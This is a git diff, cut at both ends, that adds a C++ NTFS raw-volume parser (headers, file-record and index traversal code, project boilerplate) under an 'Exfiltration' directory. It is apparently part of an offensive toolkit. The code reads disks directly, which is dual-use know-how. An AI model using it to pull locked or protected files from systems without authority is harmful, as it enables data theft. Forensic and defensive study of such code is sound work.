EntryOffset; // Offset to the first index entry, relative to this address(0x10) + DWORD TotalEntrySize; // Total size of the index entries + DWORD AllocEntrySize; // Allocated size of the index entries + BYTE Flags; // Flags + BYTE Padding2[3]; // Padding +} ATTR_INDEX_ROOT; + + +// INDEX ENTRY + +#define INDEX_ENTRY_FLAG_SUBNODE 0x01 // Index entry points to a sub-node +#define INDEX_ENTRY_FLAG_LAST 0x02 // Last index entry in the node, no Stream + +typedef struct tagINDEX_ENTRY +{ + ULONGLONG FileReference; // Low 6B: MFT record index, High 2B: MFT record sequence number + WORD Size; // Length of the index entry + WORD StreamSize; // Length of the stream + BYTE Flags; // Flags + BYTE Padding[3]; // Padding + BYTE Stream[1]; // Stream + // VCN of the sub node in Index Allocation, Offset = Size - 8 +} INDEX_ENTRY; + + +// INDEX BLOCK +/****************************** + INDEX_BLOCK + ----------------------- + | Index Block Header | + ----------------------- + | Index Header | + ----------------------- + | Index Entry | + ----------------------- + | Index Entry | + ----------------------- + | ...... | + ----------------------- +*******************************/ + +#define INDEX_BLOCK_MAGIC 'XDNI' + +typedef struct tagINDEX_BLOCK +{ + // Index Block Header + DWORD Magic; // "INDX" + WORD OffsetOfUS; // Offset of Update Sequence + WORD SizeOfUS; // Size in words of Update Sequence Number & Array + ULONGLONG LSN; // $LogFile Sequence Number + ULONGLONG VCN; // VCN of this index block in the index allocation + // Index Header + DWORD EntryOffset; // Offset of the index entries, relative to this address(0x18) + DWORD TotalEntrySize; // Total size of the index entries + DWORD AllocEntrySize; // Allocated size of index entries + BYTE NotLeaf; // 1 if not leaf node (has children) + BYTE Padding[3]; // Padding +} INDEX_BLOCK; + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFS_FileRecord.h b/Exfiltration/NTFSParser/NTFSParser/NTFS_FileRecord.h new file mode 100644 index 0000000..5a232ff --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFS_FileRecord.h @@ -0,0 +1,989 @@ +/* + * NTFS Volume and File Record Class + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_FILERECORD_H_CYB70289 +#define __NTFS_FILERECORD_H_CYB70289 + + +/////////////////////////////////////// +// NTFS Volume forward declaration +/////////////////////////////////////// +class CNTFSVolume +{ +public: + CNTFSVolume(_TCHAR volume); + virtual ~CNTFSVolume(); + + friend class CFileRecord; + friend class CAttrBase; + +private: + WORD SectorSize; + DWORD ClusterSize; + DWORD FileRecordSize; + DWORD IndexBlockSize; + ULONGLONG MFTAddr; + HANDLE hVolume; + BOOL VolumeOK; + ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS]; + WORD Version; + + // MFT file records ($MFT file itself) may be fragmented + // Get $MFT Data attribute to translate FileRecord to correct disk offset + CFileRecord *MFTRecord; // $MFT File Record + const CAttrBase *MFTData; // $MFT Data Attribute + + BOOL OpenVolume(_TCHAR volume); + +public: + __inline BOOL IsVolumeOK() const; + __inline WORD GetVersion() const; + __inline ULONGLONG GetRecordsCount() const; + + __inline DWORD GetSectorSize() const; + __inline DWORD GetClusterSize() const; + __inline DWORD GetFileRecordSize() const; + __inline DWORD GetIndexBlockSize() const; + __inline ULONGLONG GetMFTAddr() const; + + BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb); + __inline void ClearAttrRawCB(); +}; // CNTFSVolume + + +//////////////////////////////////////////// +// List to hold Attributes of the same type +//////////////////////////////////////////// +typedef class CSList CAttrList; + +// It seems VC6.0 doesn't support template class friends +#if _MSC_VER <= 1200 +class CAttrResident; +class CAttrNonResident; +template class CAttr_AttrList; +#endif + +//////////////////////////////// +// Process a single File Record +//////////////////////////////// +class CFileRecord +{ +public: + CFileRecord(const CNTFSVolume *volume); + virtual ~CFileRecord(); + + friend class CAttrBase; +#if _MSC_VER <= 1200 + // Walk around VC6.0 compiler defect + friend class CAttr_AttrList; + friend class CAttr_AttrList; +#else + template friend class CAttr_AttrList; // Won't compiler in VC6.0, why? +#endif + +private: + const CNTFSVolume *Volume; + FILE_RECORD_HEADER *FileRecord; + ULONGLONG FileReference; + ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS]; + DWORD AttrMask; + CAttrList AttrList[ATTR_NUMS]; // Attributes + + void ClearAttrs(); + BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray); + __inline void UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard); + CAttrBase* AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled); + BOOL ParseAttr(ATTR_HEADER_COMMON *ahc); + FILE_RECORD_HEADER* ReadFileRecord(ULONGLONG &fileRef); + BOOL VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const; + void TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const; + +public: + BOOL ParseFileRecord(ULONGLONG fileRef); + BOOL ParseAttrs(); + + BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb); + __inline void ClearAttrRawCB(); + + __inline void SetAttrMask(DWORD mask); + void TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context); + __inline const CAttrBase* FindFirstAttr(DWORD attrType) const; + const CAttrBase* FindNextAttr(DWORD attrType) const; + + int GetFileName(_TCHAR *buf, DWORD bufLen) const; + __inline ULONGLONG GetFileSize() const; + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const; + + void TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const; + __inline const BOOL FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const; + const CAttrBase* FindStream(_TCHAR *name = NULL); + + __inline BOOL IsDeleted() const; + __inline BOOL IsDirectory() const; + __inline BOOL IsReadOnly() const; + __inline BOOL IsHidden() const; + __inline BOOL IsSystem() const; + __inline BOOL IsCompressed() const; + __inline BOOL IsEncrypted() const; + __inline BOOL IsSparse() const; +}; // CFileRecord + + +#include "NTFS_Attribute.h" + + +CFileRecord::CFileRecord(const CNTFSVolume *volume) +{ + _ASSERT(volume); + Volume = volume; + FileRecord = NULL; + FileReference = (ULONGLONG)-1; + + ClearAttrRawCB(); + + // Default to parse all attributes + AttrMask = MASK_ALL; +} + +CFileRecord::~CFileRecord() +{ + ClearAttrs(); + + if (FileRecord) + delete FileRecord; +} + +// Free all CAttr_xxx +void CFileRecord::ClearAttrs() +{ + for (int i=0; iSectorSize>>1) - 1); + if (*sector != usn) + return FALSE; // USN error + *sector = usarray[i]; // Write back correct data + sector++; + } + return TRUE; +} + +// Call user defined Callback routines for an attribute +__inline void CFileRecord::UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard) +{ + *bDiscard = FALSE; + + if (AttrRawCallBack[attType]) + AttrRawCallBack[attType](ahc, bDiscard); + else if (Volume->AttrRawCallBack[attType]) + Volume->AttrRawCallBack[attType](ahc, bDiscard); +} + +CAttrBase* CFileRecord::AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled) +{ + switch (ahc->Type) + { + case ATTR_TYPE_STANDARD_INFORMATION: + return new CAttr_StdInfo(ahc, this); + + case ATTR_TYPE_ATTRIBUTE_LIST: + if (ahc->NonResident) + return new CAttr_AttrList(ahc, this); + else + return new CAttr_AttrList(ahc, this); + + case ATTR_TYPE_FILE_NAME: + return new CAttr_FileName(ahc, this); + + case ATTR_TYPE_VOLUME_NAME: + return new CAttr_VolName(ahc, this); + + case ATTR_TYPE_VOLUME_INFORMATION: + return new CAttr_VolInfo(ahc, this); + + case ATTR_TYPE_DATA: + if (ahc->NonResident) + return new CAttr_Data(ahc, this); + else + return new CAttr_Data(ahc, this); + + case ATTR_TYPE_INDEX_ROOT: + return new CAttr_IndexRoot(ahc, this); + + case ATTR_TYPE_INDEX_ALLOCATION: + return new CAttr_IndexAlloc(ahc, this); + + case ATTR_TYPE_BITMAP: + if (ahc->NonResident) + return new CAttr_Bitmap(ahc, this); + else + // Resident Bitmap may exist in a directory's FileRecord + // or in $MFT for a very small volume in theory + return new CAttr_Bitmap(ahc, this); + + // Unhandled Attributes + default: + *bUnhandled = TRUE; + if (ahc->NonResident) + return new CAttrNonResident(ahc, this); + else + return new CAttrResident(ahc, this); + } +} + +// Parse a single Attribute +// Return False on error +BOOL CFileRecord::ParseAttr(ATTR_HEADER_COMMON *ahc) +{ + DWORD attrIndex = ATTR_INDEX(ahc->Type); + if (attrIndex < ATTR_NUMS) + { + BOOL bDiscard = FALSE; + UserCallBack(attrIndex, ahc, &bDiscard); + + if (!bDiscard) + { + BOOL bUnhandled = FALSE; + CAttrBase *attr = AllocAttr(ahc, &bUnhandled); + if (attr) + { + if (bUnhandled) + { + NTFS_TRACE1("Unhandled attribute: 0x%04X\n", ahc->Type); + } + AttrList[attrIndex].InsertEntry(attr); + return TRUE; + } + else + { + NTFS_TRACE1("Attribute Parse error: 0x%04X\n", ahc->Type); + return FALSE; + } + } + else + { + NTFS_TRACE1("User Callback has processed this Attribute: 0x%04X\n", ahc->Type); + return TRUE; + } + } + else + { + NTFS_TRACE1("Invalid Attribute Type: 0x%04X\n", ahc->Type); + return FALSE; + } +} + +// Read File Record +FILE_RECORD_HEADER* CFileRecord::ReadFileRecord(ULONGLONG &fileRef) +{ + FILE_RECORD_HEADER *fr = NULL; + DWORD len; + + if (fileRef < MFT_IDX_USER || Volume->MFTData == NULL) + { + // Take as continuous disk allocation + LARGE_INTEGER frAddr; + frAddr.QuadPart = Volume->MFTAddr + (Volume->FileRecordSize) * fileRef; + frAddr.LowPart = SetFilePointer(Volume->hVolume, frAddr.LowPart, &frAddr.HighPart, FILE_BEGIN); + + if (frAddr.LowPart == DWORD(-1) && GetLastError() != NO_ERROR) + return FALSE; + else + { + fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize]; + + if (ReadFile(Volume->hVolume, fr, Volume->FileRecordSize, &len, NULL) + && len==Volume->FileRecordSize) + return fr; + else + { + delete fr; + return NULL; + } + } + } + else + { + // May be fragmented $MFT + ULONGLONG frAddr; + frAddr = (Volume->FileRecordSize) * fileRef; + + fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize]; + + if (Volume->MFTData->ReadData(frAddr, fr, Volume->FileRecordSize, &len) + && len == Volume->FileRecordSize) + return fr; + else + { + delete fr; + return NULL; + } + } +} + +// Read File Record, verify and patch the US (update sequence) +BOOL CFileRecord::ParseFileRecord(ULONGLONG fileRef) +{ + // Clear previous data + ClearAttrs(); + if (FileRecord) + { + delete FileRecord; + FileRecord = NULL; + } + + FILE_RECORD_HEADER *fr = ReadFileRecord(fileRef); + if (fr == NULL) + { + NTFS_TRACE1("Cannot read file record %I64u\n", fileRef); + + FileReference = (ULONGLONG)-1; + } + else + { + FileReference = fileRef; + + if (fr->Magic == FILE_RECORD_MAGIC) + { + // Patch US + WORD *usnaddr = (WORD*)((BYTE*)fr + fr->OffsetOfUS); + WORD usn = *usnaddr; + WORD *usarray = usnaddr + 1; + if (PatchUS((WORD*)fr, Volume->FileRecordSize/Volume->SectorSize, usn, usarray)) + { + NTFS_TRACE1("File Record %I64u Found\n", fileRef); + FileRecord = fr; + + return TRUE; + } + else + { + NTFS_TRACE("Update Sequence Number error\n"); + } + } + else + { + NTFS_TRACE("Invalid file record\n"); + } + + delete fr; + } + + return FALSE; +} + +// Visit IndexBlocks recursivly to find a specific FileName +BOOL CFileRecord::VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const +{ + CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION); + if (ia == NULL) + return FALSE; + + CIndexBlock ib; + if (ia->ParseIndexBlock(vcn, ib)) + { + CIndexEntry *ie = ib.FindFirstEntry(); + while (ie) + { + if (ie->HasName()) + { + // Compare name + int i = ie->Compare(fileName); + if (i == 0) + { + ieFound = *ie; + return TRUE; + } + else if (i < 0) // fileName is smaller than IndexEntry + { + // Visit SubNode + if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock), recursive call + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + else + return FALSE; // not found + } + // Just step forward if fileName is bigger than IndexEntry + } + else if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock), recursive call + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + + ie = ib.FindNextEntry(); + } + } + + return FALSE; +} + +// Traverse SubNode recursivly in ascending order +// Call user defined callback routine once found an subentry +void CFileRecord::TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const +{ + CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION); + if (ia == NULL) + return; + + CIndexBlock ib; + if (ia->ParseIndexBlock(vcn, ib)) + { + CIndexEntry *ie = ib.FindFirstEntry(); + while (ie) + { + if (ie->IsSubNodePtr()) + TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); // recursive call + + if (ie->HasName()) + seCallBack(ie); + + ie = ib.FindNextEntry(); + } + } +} + +// Parse all the attributes in a File Record +// And insert them into a link list +BOOL CFileRecord::ParseAttrs() +{ + _ASSERT(FileRecord); + + // Clear previous data + ClearAttrs(); + + // Visit all attributes + + DWORD dataPtr = 0; // guard if data exceeds FileRecordSize bounds + ATTR_HEADER_COMMON *ahc = (ATTR_HEADER_COMMON*)((BYTE*)FileRecord + FileRecord->OffsetOfAttr); + dataPtr += FileRecord->OffsetOfAttr; + + while (ahc->Type != (DWORD)-1 && (dataPtr+ahc->TotalSize) <= Volume->FileRecordSize) + { + if (ATTR_MASK(ahc->Type) & AttrMask) // Skip unwanted attributes + { + if (!ParseAttr(ahc)) // Parse error + return FALSE; + + if (IsEncrypted() || IsCompressed()) + { + NTFS_TRACE("Compressed and Encrypted file not supported yet !\n"); + return FALSE; + } + } + + dataPtr += ahc->TotalSize; + ahc = (ATTR_HEADER_COMMON*)((BYTE*)ahc + ahc->TotalSize); // next attribute + } + + return TRUE; +} + +// Install Attribute raw data CallBack routines for a single File Record +BOOL CFileRecord::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb) +{ + DWORD atIdx = ATTR_INDEX(attrType); + if (atIdx < ATTR_NUMS) + { + AttrRawCallBack[atIdx] = cb; + return TRUE; + } + else + return FALSE; +} + +// Clear all Attribute CallBack routines +__inline void CFileRecord::ClearAttrRawCB() +{ + for (int i = 0; i < ATTR_NUMS; i ++) + AttrRawCallBack[i] = NULL; +} + +// Choose attributes to handle, unwanted attributes will be discarded silently +__inline void CFileRecord::SetAttrMask(DWORD mask) +{ + // Standard Information and Attribute List is needed always + AttrMask = mask | MASK_STANDARD_INFORMATION | MASK_ATTRIBUTE_LIST; +} + +// Traverse all Attribute and return CAttr_xxx classes to User Callback routine +void CFileRecord::TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context) +{ + _ASSERT(attrCallBack); + + for (int i = 0; i < ATTR_NUMS; i ++) + { + if (AttrMask & (((DWORD)1)<IsWin32Name()) + { + int len = fn->GetFileName(buf, bufLen); + if (len != 0) + return len; // success or fail + } + + fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindNextEntry(); + } + + return 0; +} + +// Get File Size +__inline ULONGLONG CFileRecord::GetFileSize() const +{ + CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry(); + return fn ? fn->GetFileSize() : 0; +} + +// Get File Times +void CFileRecord::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const +{ + // Standard Information attribute hold the most updated file time + CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + if (si) + si->GetFileTime(writeTm, createTm, accessTm); + else + { + writeTm->dwHighDateTime = 0; + writeTm->dwLowDateTime = 0; + if (createTm) + { + createTm->dwHighDateTime = 0; + createTm->dwLowDateTime = 0; + } + if (accessTm) + { + accessTm->dwHighDateTime = 0; + accessTm->dwLowDateTime = 0; + } + } +} + +// Traverse all sub directories and files contained +// Call user defined callback routine once found an entry +void CFileRecord::TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const +{ + _ASSERT(seCallBack); + + // Start traversing from IndexRoot (B+ tree root node) + + CAttr_IndexRoot* ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT); + if (ir == NULL || !ir->IsFileName()) + return; + + CIndexEntryList *ieList = (CIndexEntryList*)ir; + CIndexEntry *ie = ieList->FindFirstEntry(); + while (ie) + { + // Visit subnode first + if (ie->IsSubNodePtr()) + TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); + + if (ie->HasName()) + seCallBack(ie); + + ie = ieList->FindNextEntry(); + } +} + +// Find a specific FileName from InexRoot described B+ tree +__inline const BOOL CFileRecord::FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const +{ + // Start searching from IndexRoot (B+ tree root node) + CAttr_IndexRoot *ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT); + if (ir == NULL || !ir->IsFileName()) + return FALSE; + + CIndexEntryList *ieList = (CIndexEntryList*)ir; + CIndexEntry *ie = ieList->FindFirstEntry(); + while (ie) + { + if (ie->HasName()) + { + // Compare name + int i = ie->Compare(fileName); + if (i == 0) + { + ieFound = *ie; + return TRUE; + } + else if (i < 0) // fileName is smaller than IndexEntry + { + // Visit SubNode + if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock) + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + else + return FALSE; // not found + } + // Just step forward if fileName is bigger than IndexEntry + } + else if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock) + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + + ie = ieList->FindNextEntry(); + } + + return FALSE; +} + +// Find Data attribute class of +const CAttrBase* CFileRecord::FindStream(_TCHAR *name) +{ + const CAttrBase *data = FindFirstAttr(ATTR_TYPE_DATA); + while (data) + { + if (data->IsUnNamed() && name == NULL) // Unnamed stream + break; + if ((!data->IsUnNamed()) && name) // Named stream + { + _TCHAR an[MAX_PATH]; + if (data->GetAttrName(an, MAX_PATH)) + { + if (_tcscmp(an, name) == 0) + break; + } + } + + data = FindNextAttr(ATTR_TYPE_DATA); + } + + return data; +} + +// Check if it's deleted or in use +__inline BOOL CFileRecord::IsDeleted() const +{ + return !(FileRecord->Flags & FILE_RECORD_FLAG_INUSE); +} + +// Check if it's a directory +__inline BOOL CFileRecord::IsDirectory() const +{ + return FileRecord->Flags & FILE_RECORD_FLAG_DIR; +} + +__inline BOOL CFileRecord::IsReadOnly() const +{ + // Standard Information attribute holds the most updated file time + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsReadOnly() : FALSE; +} + +__inline BOOL CFileRecord::IsHidden() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsHidden() : FALSE; +} + +__inline BOOL CFileRecord::IsSystem() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsSystem() : FALSE; +} + +__inline BOOL CFileRecord::IsCompressed() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsCompressed() : FALSE; +} + +__inline BOOL CFileRecord::IsEncrypted() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsEncrypted() : FALSE; +} + +__inline BOOL CFileRecord::IsSparse() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsSparse() : FALSE; +} + + +/////////////////////////////////////// +// NTFS Volume Implementation +/////////////////////////////////////// +CNTFSVolume::CNTFSVolume(_TCHAR volume) +{ + hVolume = INVALID_HANDLE_VALUE; + VolumeOK = FALSE; + MFTRecord = NULL; + MFTData = NULL; + Version = 0; + ClearAttrRawCB(); + + if (!OpenVolume(volume)) + return; + + // Verify NTFS volume version (must >= 3.0) + + CFileRecord vol(this); + vol.SetAttrMask(MASK_VOLUME_NAME | MASK_VOLUME_INFORMATION); + if (!vol.ParseFileRecord(MFT_IDX_VOLUME)) + return; + + vol.ParseAttrs(); + CAttr_VolInfo *vi = (CAttr_VolInfo*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_INFORMATION); + if (!vi) + return; + + Version = vi->GetVersion(); + NTFS_TRACE2("NTFS volume version: %u.%u\n", HIBYTE(Version), LOBYTE(Version)); + if (Version < 0x0300) // NT4 ? + return; + +#ifdef _DEBUG + CAttr_VolName *vn = (CAttr_VolName*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_NAME); + if (vn) + { + char volname[MAX_PATH]; + if (vn->GetName(volname, MAX_PATH) > 0) + { + NTFS_TRACE1("NTFS volume name: %s\n", volname); + } + } +#endif + + VolumeOK = TRUE; + + MFTRecord = new CFileRecord(this); + MFTRecord->SetAttrMask(MASK_DATA); + if (MFTRecord->ParseFileRecord(MFT_IDX_MFT)) + { + MFTRecord->ParseAttrs(); + MFTData = MFTRecord->FindFirstAttr(ATTR_TYPE_DATA); + if (MFTData == NULL) + { + delete MFTRecord; + MFTRecord = NULL; + } + } +} + +CNTFSVolume::~CNTFSVolume() +{ + if (hVolume != INVALID_HANDLE_VALUE) + CloseHandle(hVolume); + + if (MFTRecord) + delete MFTRecord; +} + +// Open a volume ('a' - 'z', 'A' - 'Z'), get volume handle and BPB +BOOL CNTFSVolume::OpenVolume(_TCHAR volume) +{ + // Verify parameter + if (!_istalpha(volume)) + { + NTFS_TRACE("Volume name error, should be like 'C', 'D'\n"); + return FALSE; + } + + _TCHAR volumePath[7]; + _sntprintf(volumePath, 6, _T("\\\\.\\%c:"), volume); + volumePath[6] = _T('\0'); + + hVolume = CreateFile(volumePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL); + if (hVolume != INVALID_HANDLE_VALUE) + { + DWORD num; + NTFS_BPB bpb; + + // Read the first sector (boot sector) + if (ReadFile(hVolume, &bpb, 512, &num, NULL) && num==512) + { + if (strncmp((const char*)bpb.Signature, NTFS_SIGNATURE, 8) == 0) + { + // Log important volume parameters + + SectorSize = bpb.BytesPerSector; + NTFS_TRACE1("Sector Size = %u bytes\n", SectorSize); + + ClusterSize = SectorSize * bpb.SectorsPerCluster; + NTFS_TRACE1("Cluster Size = %u bytes\n", ClusterSize); + + int sz = (char)bpb.ClustersPerFileRecord; + if (sz > 0) + FileRecordSize = ClusterSize * sz; + else + FileRecordSize = 1 << (-sz); + NTFS_TRACE1("FileRecord Size = %u bytes\n", FileRecordSize); + + sz = (char)bpb.ClustersPerIndexBlock; + if (sz > 0) + IndexBlockSize = ClusterSize * sz; + else + IndexBlockSize = 1 << (-sz); + NTFS_TRACE1("IndexBlock Size = %u bytes\n", IndexBlockSize); + + MFTAddr = bpb.LCN_MFT * ClusterSize; + NTFS_TRACE1("MFT address = 0x%016I64X\n", MFTAddr); + } + else + { + NTFS_TRACE("Volume file system is not NTFS\n"); + goto IOError; + } + } + else + { + NTFS_TRACE("Read boot sector error\n"); + goto IOError; + } + } + else + { + NTFS_TRACE1("Cannnot open volume %c\n", (char)volume); +IOError: + if (hVolume != INVALID_HANDLE_VALUE) + { + CloseHandle(hVolume); + hVolume = INVALID_HANDLE_VALUE; + } + return FALSE; + } + + return TRUE; +} + +// Check if Volume is successfully opened +__inline BOOL CNTFSVolume::IsVolumeOK() const +{ + return VolumeOK; +} + +// Get NTFS volume version +__inline WORD CNTFSVolume::GetVersion() const +{ + return Version; +} + +// Get File Record count +__inline ULONGLONG CNTFSVolume::GetRecordsCount() const +{ + return (MFTData->GetDataSize() / FileRecordSize); +} + +// Get BPB information + +__inline DWORD CNTFSVolume::GetSectorSize() const +{ + return SectorSize; +} + +__inline DWORD CNTFSVolume::GetClusterSize() const +{ + return ClusterSize; +} + +__inline DWORD CNTFSVolume::GetFileRecordSize() const +{ + return FileRecordSize; +} + +__inline DWORD CNTFSVolume::GetIndexBlockSize() const +{ + return IndexBlockSize; +} + +// Get MFT starting address +__inline ULONGLONG CNTFSVolume::GetMFTAddr() const +{ + return MFTAddr; +} + +// Install Attribute CallBack routines for the whole Volume +BOOL CNTFSVolume::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb) +{ + DWORD atIdx = ATTR_INDEX(attrType); + if (atIdx < ATTR_NUMS) + { + AttrRawCallBack[atIdx] = cb; + return TRUE; + } + else + return FALSE; +} + +// Clear all Attribute CallBack routines +__inline void CNTFSVolume::ClearAttrRawCB() +{ + for (int i = 0; i < ATTR_NUMS; i ++) + AttrRawCallBack[i] = NULL; +} + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParser/ReadMe.txt b/Exfiltration/NTFSParser/NTFSParser/ReadMe.txt new file mode 100644 index 0000000..db26458 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/ReadMe.txt @@ -0,0 +1,40 @@ +======================================================================== + CONSOLE APPLICATION : NTFSParser Project Overview +======================================================================== + +AppWizard has created this NTFSParser application for you. + +This file contains a summary of what you will find in each of the files that +make up your NTFSParser application. + + +NTFSParser.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +NTFSParser.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +NTFSParser.cpp + This is the main application source file. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named NTFSParser.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/Exfiltration/NTFSParser/NTFSParser/stdafx.cpp b/Exfiltration/NTFSParser/NTFSParser/stdafx.cpp new file mode 100644 index 0000000..91c53ed --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// NTFSParser.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/Exfiltration/NTFSParser/NTFSParser/stdafx.h b/Exfiltration/NTFSParser/NTFSParser/stdafx.h new file mode 100644 index 0000000..349be97 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/stdafx.h @@ -0,0 +1,17 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include +#include +#include +#include + + +// TODO: reference additional headers your program requires here diff --git a/Exfiltration/NTFSParser/NTFSParser/targetver.h b/Exfiltration/NTFSParser/NTFSParser/targetver.h new file mode 100644 index 0000000..87c0086 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFS.h b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS.h new file mode 100644 index 0000000..ef6117b --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS.h @@ -0,0 +1,28 @@ +/* + * NTFS include files + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_H_CYB70289 +#define __NTFS_H_CYB70289 + +#pragma pack(8) + +#include "NTFS_Common.h" +#include "NTFS_FileRecord.h" +#include "NTFS_Attribute.h" + +#pragma pack() + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.cpp b/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.cpp new file mode 